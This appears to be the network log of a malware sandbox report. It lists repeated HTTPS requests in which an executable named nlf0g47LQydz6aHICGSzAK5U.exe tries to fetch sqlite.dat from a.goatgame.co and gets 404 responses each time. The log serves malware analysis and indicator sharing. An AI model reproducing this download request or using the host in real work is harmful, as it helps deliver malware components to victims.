                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:31 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SR9cKxIaaUcTtjq6FFEr8AjeJJp1cyTTEzMfdqsOZWm81Z3pJjP9SlPXq20oTF6TI3Q667MaXR4bnlIXH%2FHrm9CvkDUoEXCJtzSH4bx9mhdcZo9Ox08RTm8OUPqtpzSj"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232866685e1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:34 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uHIiYWE0DHCIpnflVHMBDX%2BwSfjH09GoiEdIrib%2Bnlpz6oNH%2F1z2IARf0gpn0ahs4heLL21WjddLY6zAHC46tFgDucDbTZc1OVkjNetmDEyRa5QFMmEVHS%2F0V7PKUewX"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823287a586c1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:37 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R0hZOKciedzglvPXRvKZhKoTE3%2BRCEOr6f3RAv1hB2J74wAxwVHWlpp4yKEF2Tk3kBhxq5ObjeHbxARSYj4XpftWu%2Fber9LS4R2OHAt5JGCYjgfLi5sPC2QiApsJi77b"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823288d0fd11e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:40 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=05K0tRBYeavJndZqNUdlgocaA4Xsyow18ALqYu7WCZxz36F3nya3LAavxiXjkayAqxwzRpNoGCqGrljd39IdIUwL5XdTcOkC4y2gCR0%2BxeeBh8cwK8umwrnbrtAhwelv"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823289fdf911e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:43 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BjBUlHM5vuFCOHXaN03u7Docm3AIdkhdgA6lW6Y45uAiR7AF2tCOf6SiEQsogdYqCRyrZ6SiJ2h9YkDFJFAbUPCct5m7m00I5anmq5uVwrmAdDhSOwsXWY8wnw5%2BeTH6"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328b1ae581e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:55 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PXWFFUJYp9OEr%2BYAJzyPeNITctVXDtvuvwYkLwnJBsqcPfwdSLZvHhY6hHbFmFLrJiEuEcktTztRgyWLKBFqdAmK%2Br78sSVmCD6Jvr%2BcoZrrWJak8y3Qh86%2BELc9cM8y"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328fc7f781e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:57 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ejRe3n67Egz%2FfXQSVuSTN0PdmC%2F%2FcOs1C3dD0yRxmpuqm6cY4Bs2cF64n5xLL%2BrsX9OJ9Qxy3zF50CFK%2F8jcslq1MQl7W7t6XuzZwt2VjDccoW698b0oEiRCq%2FuCx9cV"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823290d9d2f1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
